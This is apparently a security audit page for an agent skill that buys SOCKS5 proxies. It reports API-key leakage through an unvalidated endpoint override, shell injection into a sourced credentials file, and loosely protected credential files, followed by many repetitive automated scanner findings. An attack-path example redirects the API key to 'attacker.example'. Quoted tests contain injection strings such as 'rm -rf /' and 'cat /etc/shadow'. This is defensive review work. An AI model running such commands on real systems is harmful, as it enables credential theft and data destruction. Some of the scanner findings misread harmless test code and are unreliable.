Back to skill

Security audit

ProxyBase

Security checks for vulnerabilities and agentic risk

Overview

The skill mostly matches its proxy-management purpose, but it has serious secret-handling and persistent traffic-rerouting risks that users should review before installing.

Review carefully before installing. Avoid setting PROXYBASE_API_URL to anything other than the real ProxyBase API, do not run inject-gateway unless you intentionally want OpenClaw gateway traffic rerouted through the proxy, and treat the state directory as sensitive. This should be patched to use non-executable secret storage, strict state-file permissions, API origin validation, and an explicit confirmation/rollback flow for gateway injection.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
proxybase.sh:215
Finding

API Key Exfiltration Through an Unrestricted API Endpoint

Content
View full analysis
/dev/null) ``` ### Technical Analysis `PROXYBASE_API_URL` is accepted directly from the process environment without validating its scheme, host, port, or URL structure. Every request made by `api_call` then sends the ProxyBase API key in the `X-API-Key` header to that configurable destination. Allowing endpoint overrides can be useful for development, but transmitting a production credential to an unrestricted endpoint violates the principle of least privilege. The implementation does not require HTTPS, bind the credential to `api.proxybase.xyz`, or warn before sending it to a different host. Because curl supports multiple URL schemes, the missing validation also exposes a broader and unnecessary request surface. The primary confirmed risk is disclosure of the API key to an attacker-controlled HTTP or HTTPS server. ### Attack Path 1. An attacker gains control of the environment used to launch the Skill, an OpenClaw environment setting, or another configuration source that can define `PROXYBASE_API_URL`. 2. The attacker sets it to an endpoint under their control, for example: ```bash export PROXYBASE_API_URL="https://attacker.example/collect" ``` 3. The user or agent invokes an authenticated operation such as: ```bash bash proxybase.sh status ``` 4. `api_call` sends: ```http X-API-Key: pk_... ``` to the attacker-controlled destination. 5. The attacker reuses the captured key against the real Pr ...[truncated 568 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
proxybase.sh:118
Finding

Persistent Shell Command Injection Through the Generated Credentials File

Content
View full analysis
"$_FILE" chmod 600 "$_FILE" } ``` ```bash if [[ -z "${PROXYBASE_API_KEY:-}" ]]; then if [[ -f "$CREDS_FILE" ]]; then source "$CREDS_FILE" fi fi ``` ```bash if [[ -f "$CREDS_FILE" ]]; then source "$CREDS_FILE" ``` ### Technical Analysis The API key is validated before being written, but `_URL` and `_AGENT_ID` are not validated or safely encoded. The URL is inserted between single quotes: ```bash printf "export PROXYBASE_API_URL='%s'\n" "$_URL" ``` An embedded single quote can terminate the quoted assignment and introduce additional shell commands. The agent ID is inserted into a comment, but an embedded newline can terminate that comment and introduce a new executable line. The generated file is subsequently loaded with `source`, which interprets its contents as shell code rather than data. Consequently, attacker-controlled registration data or a crafted environment value can become persistent command execution on a later invocation. Restrictive mode `0600` protects the file from other local users but does not address injection originating from values written by the Skill itself. ### Attack Path One viable exploitation path is: 1. An attacker controls `PROXYBASE_API_URL` through the launch environment or Skill configuration. 2. The value contains shell syn ...[truncated 1412 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
proxybase.sh:315
Finding

Proxy Credentials Stored in an Orders File Without Enforced Restrictive Permissions

Content
View full analysis
"$ORDERS_FILE" fi } ``` When an order becomes active, the complete credential-bearing proxy URL is added to that file: ```bash local PROXY_UPDATED PROXY_UPDATED=$(jq --arg oid "$ORDER_ID" --arg proxy "$PROXY_URL" \ '(.orders[] | select(.order_id == $oid)).proxy = $proxy' "$ORDERS_FILE") if validate_json "$PROXY_UPDATED"; then echo "$PROXY_UPDATED" > "$ORDERS_FILE" fi ``` The status refresh path also persists the complete proxy URL: ```bash if build_safe_proxy_url "$HOST" "$PORT" "$USER" "$PASS"; then UPDATED=$(jq --arg oid "$OID" --arg p "$PROXY_URL" \ '(.orders[] | select(.order_id == $oid)).proxy = $p' "$ORDERS_FILE") if validate_json "$UPDATED"; then echo "$UPDATED" > "$ORDERS_FILE" fi fi ``` ### Technical Analysis `PROXY_URL` has the following form: ```text socks5://USERNAME:PASSWORD@HOST:PORT ``` The full value, including the username and password, is stored in `state/orders.json`. Unlike `credentials.env` and `.proxy-env`, the script does not apply `chmod 600` to `orders.json`. It also creates `state/` with a regular `mkdir -p` and does not enforce mode `0700` or set a restrictive umask. As a result, actual permissions depend on the caller's environment. With a common umask of `022`, a newly created `orders.json` may be readable by other local users. Rewriting it with shell redirection does not remediate an already permissive mode. The same file is also displayed by the `status` command, which prints stored proxy URLs, increasing the likelihood that plaintext credentials appear in terminal logs or captured agent output. ### Attack Path 1. A user purchases a proxy ...[truncated 968 chars]
Remediation
View remediation
"$tmp" mv "$tmp" "$ORDERS_FILE" ``` 5. Avoid storing the password-bearing proxy URL in the general order-tracking file. Store only non-secret metadata there and keep credentials in a separate mode-`0600` secret file. 6. Redact proxy passwords from `status` output by default. Require an explicit option to display credentials interactively. 7. Add permission tests that run under permissive umasks and verify that the state directory is `0700` and every secret-bearing file is `0600`. ]]>
Vulnerability Patterns
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (49)

Credential Access

High
Category
Privilege Escalation
Confidence
87% confidence
Finding

The README documents storage of an agent ID and API key in a plaintext environment file under the skill state directory. Even with restrictive permissions, local plaintext secret storage creates credential theft risk from local compromise, backup leakage, accidental inclusion in archives, or exposure to other tooling that reads env files; in this skill's context, those credentials can be used to manage paid proxy resources and potentially observe or alter routing behavior.

Content

Scanner excerpt · README.md (reported line 125)May include surrounding context.

md
├── config/
│   └── openclaw-config-snippet.json5 # OpenClaw config template
└── state/                            # Created at runtime
    ├── credentials.env               # Agent ID + API key (chmod 600)
    ├── orders.json                   # Tracked orders
    ├── .proxy-env                    # Active proxy ENV vars (most recent)
    └── .proxy-env-<order_id>         # Per-order proxy ENV vars

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

The description presents an operational skill for buying and managing ProxyBase SOCKS5 proxies through an API. The provided code chunk does not implement those user-facing functions directly; instead, it is a dedicated test script that audits the safety of another script/library. While the tested commands and data types relate to the declared domain (orders, top-ups, rotation, proxy URLs), this chunk’s primary purpose is security validation/QA, not proxy lifecycle management or cryptocurrency payment handling. That is a material description-to-behavior mismatch for the supplied code chunk.

Content

No source excerpt is available for this finding.

Credential Access

High
Category
Privilege Escalation
Confidence
93% confidence
Finding

The skill auto-registers and stores a live API key in a sourceable credentials.env file on disk. Plaintext credential persistence increases the risk of accidental disclosure through logs, backups, shell sourcing, or access by other local processes, especially because registration happens automatically rather than through an explicit secret-management flow.

Content

Scanner excerpt · SKILL.md (reported line 28)May include surrounding context.

md
This skill uses **zero-configuration** registration. The first time any
ProxyBase command is run, the agent automatically registers and stores
credentials in `{baseDir}/state/credentials.env`. No manual API key setup
or `openclaw.json` edits are required.

For manual or debugging use, you can also register explicitly:

Credential Access

High
Category
Privilege Escalation
Confidence
94% confidence
Finding

Documenting credentials.env and .proxy-env as persistent state establishes that API keys and proxy credentials are stored locally in sourceable plaintext files. Those files can expose both account access and proxy authentication to anyone with filesystem access, and sourcing them further increases the blast radius of accidental leaks.

Content

Scanner excerpt · SKILL.md (reported line 40)May include surrounding context.

md
## State Files

All persistent state lives in `{baseDir}/state/`:
- `credentials.env` — API key (`PROXYBASE_API_KEY=pk_...`)
- `orders.json` — Tracked orders with status and proxy info
- `.proxy-env` — Sourceable SOCKS5 proxy environment variables

Credential Access

High
Category
Privilege Escalation
Confidence
92% confidence
Finding

Instructing users or agents to source credentials.env directly loads secrets into the shell environment, where they may be inherited by child processes, exposed to debugging output, or mishandled by other tools. This practice normalizes broad secret exposure and can turn a local file compromise into wider credential leakage.

Content

Scanner excerpt · SKILL.md (reported line 145)May include surrounding context.

md
### Interactive (Chat with Human)

1. **Load credentials**: `source {baseDir}/state/credentials.env 2>/dev/null`
2. **Register if needed**: Run `bash {baseDir}/proxybase.sh register` if no key
3. **List packages**: Show user available packages with prices
4. **List currencies**: Show user payment options (default: usdcsol)

Context-Inappropriate Capability

High
Category
Not specified by scanner
Confidence
98% confidence
Finding

Rewriting the gateway's systemd service file is a privileged persistence and traffic-redirection capability unrelated to ordinary proxy procurement. If abused or triggered unexpectedly, it could force agent traffic through attacker-controlled infrastructure, disrupt service startup, or create persistent environment manipulation on the host.

Content

No source excerpt is available for this finding.

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · proxybase.sh (reported line 38)May include surrounding context.

sh
SCRIPT_DIR="$SKILL_DIR"
    STATE_DIR="$SKILL_DIR/state"
    ORDERS_FILE="$STATE_DIR/orders.json"
    CREDS_FILE="$STATE_DIR/credentials.env"
    PROXY_ENV_FILE="$STATE_DIR/.proxy-env"
    LOCK_FILE="$STATE_DIR/orders.lock"

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · proxybase.sh (reported line 398)May include surrounding context.

sh
SCRIPT_DIR="$SKILL_DIR"
    STATE_DIR="$SKILL_DIR/state"
    ORDERS_FILE="$STATE_DIR/orders.json"
    CREDS_FILE="$STATE_DIR/credentials.env"
    PROXY_ENV_FILE="$STATE_DIR/.proxy-env"
    LOCK_FILE="$STATE_DIR/orders.lock"

Context-Inappropriate Capability

High
Category
Not specified by scanner
Confidence
98% confidence
Finding

This code rewrites a user service file, reloads systemd, and restarts OpenClaw, which is unrelated to the core ProxyBase API workflow. Even without command injection, changing a local service to route traffic through purchased proxies can disrupt application behavior, redirect sensitive traffic, and create persistent host-level configuration changes that users may not expect from this skill.

Content

No source excerpt is available for this finding.

Missing User Warnings

High
Category
Not specified by scanner
Confidence
97% confidence
Finding

The inject-gateway command modifies a systemd unit and restarts the gateway immediately with no confirmation prompt. For a command that changes persistent local configuration and reroutes network traffic through a proxy, lack of confirmation materially increases the chance of accidental disruption or unintended interception of traffic.

Content

No source excerpt is available for this finding.

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · test_security.sh (reported line 56)May include surrounding context.

sh
# Invalid usernames (shell injection attempts)
assert_fail "reject username with \$(...)" validate_safe_string 'pb_$(whoami)' "username"
assert_fail "reject username with backtick" validate_safe_string 'pb_`id`' "username"
assert_fail "reject username with semicolon" validate_safe_string 'pb_user;rm -rf /' "username"
assert_fail "reject username with pipe" validate_safe_string 'user|cat /etc/passwd' "username"
assert_fail "reject username with ampersand" validate_safe_string 'user&echo pwned' "username"
assert_fail "reject username with quote" validate_safe_string "user'quote" "username"

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · test_security.sh (reported line 70)May include surrounding context.

sh
# Invalid usernames (shell injection attempts)
assert_fail "reject username with \$(...)" validate_safe_string 'pb_$(whoami)' "username"
assert_fail "reject username with backtick" validate_safe_string 'pb_`id`' "username"
assert_fail "reject username with semicolon" validate_safe_string 'pb_user;rm -rf /' "username"
assert_fail "reject username with pipe" validate_safe_string 'user|cat /etc/passwd' "username"
assert_fail "reject username with ampersand" validate_safe_string 'user&echo pwned' "username"
assert_fail "reject username with quote" validate_safe_string "user'quote" "username"

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · test_security.sh (reported line 85)May include surrounding context.

sh
# Invalid usernames (shell injection attempts)
assert_fail "reject username with \$(...)" validate_safe_string 'pb_$(whoami)' "username"
assert_fail "reject username with backtick" validate_safe_string 'pb_`id`' "username"
assert_fail "reject username with semicolon" validate_safe_string 'pb_user;rm -rf /' "username"
assert_fail "reject username with pipe" validate_safe_string 'user|cat /etc/passwd' "username"
assert_fail "reject username with ampersand" validate_safe_string 'user&echo pwned' "username"
assert_fail "reject username with quote" validate_safe_string "user'quote" "username"

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · test_security.sh (reported line 106)May include surrounding context.

sh
# Invalid usernames (shell injection attempts)
assert_fail "reject username with \$(...)" validate_safe_string 'pb_$(whoami)' "username"
assert_fail "reject username with backtick" validate_safe_string 'pb_`id`' "username"
assert_fail "reject username with semicolon" validate_safe_string 'pb_user;rm -rf /' "username"
assert_fail "reject username with pipe" validate_safe_string 'user|cat /etc/passwd' "username"
assert_fail "reject username with ampersand" validate_safe_string 'user&echo pwned' "username"
assert_fail "reject username with quote" validate_safe_string "user'quote" "username"

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
95% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · test_security.sh (reported line 56)May include surrounding context.

sh
# Invalid usernames (shell injection attempts)
assert_fail "reject username with \$(...)" validate_safe_string 'pb_$(whoami)' "username"
assert_fail "reject username with backtick" validate_safe_string 'pb_`id`' "username"
assert_fail "reject username with semicolon" validate_safe_string 'pb_user;rm -rf /' "username"
assert_fail "reject username with pipe" validate_safe_string 'user|cat /etc/passwd' "username"
assert_fail "reject username with ampersand" validate_safe_string 'user&echo pwned' "username"
assert_fail "reject username with quote" validate_safe_string "user'quote" "username"

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
95% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · test_security.sh (reported line 85)May include surrounding context.

sh
# Invalid usernames (shell injection attempts)
assert_fail "reject username with \$(...)" validate_safe_string 'pb_$(whoami)' "username"
assert_fail "reject username with backtick" validate_safe_string 'pb_`id`' "username"
assert_fail "reject username with semicolon" validate_safe_string 'pb_user;rm -rf /' "username"
assert_fail "reject username with pipe" validate_safe_string 'user|cat /etc/passwd' "username"
assert_fail "reject username with ampersand" validate_safe_string 'user&echo pwned' "username"
assert_fail "reject username with quote" validate_safe_string "user'quote" "username"

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
95% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · test_security.sh (reported line 106)May include surrounding context.

sh
# Invalid usernames (shell injection attempts)
assert_fail "reject username with \$(...)" validate_safe_string 'pb_$(whoami)' "username"
assert_fail "reject username with backtick" validate_safe_string 'pb_`id`' "username"
assert_fail "reject username with semicolon" validate_safe_string 'pb_user;rm -rf /' "username"
assert_fail "reject username with pipe" validate_safe_string 'user|cat /etc/passwd' "username"
assert_fail "reject username with ampersand" validate_safe_string 'user&echo pwned' "username"
assert_fail "reject username with quote" validate_safe_string "user'quote" "username"

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · test_security.sh (reported line 56)May include surrounding context.

sh
# Invalid usernames (shell injection attempts)
assert_fail "reject username with \$(...)" validate_safe_string 'pb_$(whoami)' "username"
assert_fail "reject username with backtick" validate_safe_string 'pb_`id`' "username"
assert_fail "reject username with semicolon" validate_safe_string 'pb_user;rm -rf /' "username"
assert_fail "reject username with pipe" validate_safe_string 'user|cat /etc/passwd' "username"
assert_fail "reject username with ampersand" validate_safe_string 'user&echo pwned' "username"
assert_fail "reject username with quote" validate_safe_string "user'quote" "username"

Chaining Abuse

High
Category
Tool Misuse
Confidence
75% confidence
Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · test_security.sh (reported line 56)May include surrounding context.

sh
# Invalid usernames (shell injection attempts)
assert_fail "reject username with \$(...)" validate_safe_string 'pb_$(whoami)' "username"
assert_fail "reject username with backtick" validate_safe_string 'pb_`id`' "username"
assert_fail "reject username with semicolon" validate_safe_string 'pb_user;rm -rf /' "username"
assert_fail "reject username with pipe" validate_safe_string 'user|cat /etc/passwd' "username"
assert_fail "reject username with ampersand" validate_safe_string 'user&echo pwned' "username"
assert_fail "reject username with quote" validate_safe_string "user'quote" "username"

Chaining Abuse

High
Category
Tool Misuse
Confidence
75% confidence
Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · test_security.sh (reported line 85)May include surrounding context.

sh
# Invalid usernames (shell injection attempts)
assert_fail "reject username with \$(...)" validate_safe_string 'pb_$(whoami)' "username"
assert_fail "reject username with backtick" validate_safe_string 'pb_`id`' "username"
assert_fail "reject username with semicolon" validate_safe_string 'pb_user;rm -rf /' "username"
assert_fail "reject username with pipe" validate_safe_string 'user|cat /etc/passwd' "username"
assert_fail "reject username with ampersand" validate_safe_string 'user&echo pwned' "username"
assert_fail "reject username with quote" validate_safe_string "user'quote" "username"

Chaining Abuse

High
Category
Tool Misuse
Confidence
75% confidence
Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · test_security.sh (reported line 106)May include surrounding context.

sh
# Invalid usernames (shell injection attempts)
assert_fail "reject username with \$(...)" validate_safe_string 'pb_$(whoami)' "username"
assert_fail "reject username with backtick" validate_safe_string 'pb_`id`' "username"
assert_fail "reject username with semicolon" validate_safe_string 'pb_user;rm -rf /' "username"
assert_fail "reject username with pipe" validate_safe_string 'user|cat /etc/passwd' "username"
assert_fail "reject username with ampersand" validate_safe_string 'user&echo pwned' "username"
assert_fail "reject username with quote" validate_safe_string "user'quote" "username"

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · test_security.sh (reported line 57)May include surrounding context.

sh
assert_fail "reject username with \$(...)" validate_safe_string 'pb_$(whoami)' "username"
assert_fail "reject username with backtick" validate_safe_string 'pb_`id`' "username"
assert_fail "reject username with semicolon" validate_safe_string 'pb_user;rm -rf /' "username"
assert_fail "reject username with pipe" validate_safe_string 'user|cat /etc/passwd' "username"
assert_fail "reject username with ampersand" validate_safe_string 'user&echo pwned' "username"
assert_fail "reject username with quote" validate_safe_string "user'quote" "username"
assert_fail "reject username with double quote" validate_safe_string 'user"quote' "username"

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · test_security.sh (reported line 108)May include surrounding context.

sh
assert_fail "reject username with \$(...)" validate_safe_string 'pb_$(whoami)' "username"
assert_fail "reject username with backtick" validate_safe_string 'pb_`id`' "username"
assert_fail "reject username with semicolon" validate_safe_string 'pb_user;rm -rf /' "username"
assert_fail "reject username with pipe" validate_safe_string 'user|cat /etc/passwd' "username"
assert_fail "reject username with ampersand" validate_safe_string 'user&echo pwned' "username"
assert_fail "reject username with quote" validate_safe_string "user'quote" "username"
assert_fail "reject username with double quote" validate_safe_string 'user"quote' "username"

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · test_security.sh (reported line 322)May include surrounding context.

sh
assert_fail "reject username with \$(...)" validate_safe_string 'pb_$(whoami)' "username"
assert_fail "reject username with backtick" validate_safe_string 'pb_`id`' "username"
assert_fail "reject username with semicolon" validate_safe_string 'pb_user;rm -rf /' "username"
assert_fail "reject username with pipe" validate_safe_string 'user|cat /etc/passwd' "username"
assert_fail "reject username with ampersand" validate_safe_string 'user&echo pwned' "username"
assert_fail "reject username with quote" validate_safe_string "user'quote" "username"
assert_fail "reject username with double quote" validate_safe_string 'user"quote' "username"

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
95% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · test_security.sh (reported line 70)May include surrounding context.

sh
assert_pass "valid password: complex*pass+ok" validate_safe_string "complex*pass+ok" "password"

# Invalid passwords (shell injection attempts)
assert_fail "reject password with \$(...)" validate_safe_string '$(rm -rf /)' "password"
assert_fail "reject password with backtick" validate_safe_string '`whoami`' "password"
assert_fail "reject password with semicolon" validate_safe_string 'pass;echo pwned' "password"
assert_fail "reject password with pipe" validate_safe_string 'pass|cat /etc/shadow' "password"

Static analysis

No suspicious patterns detected.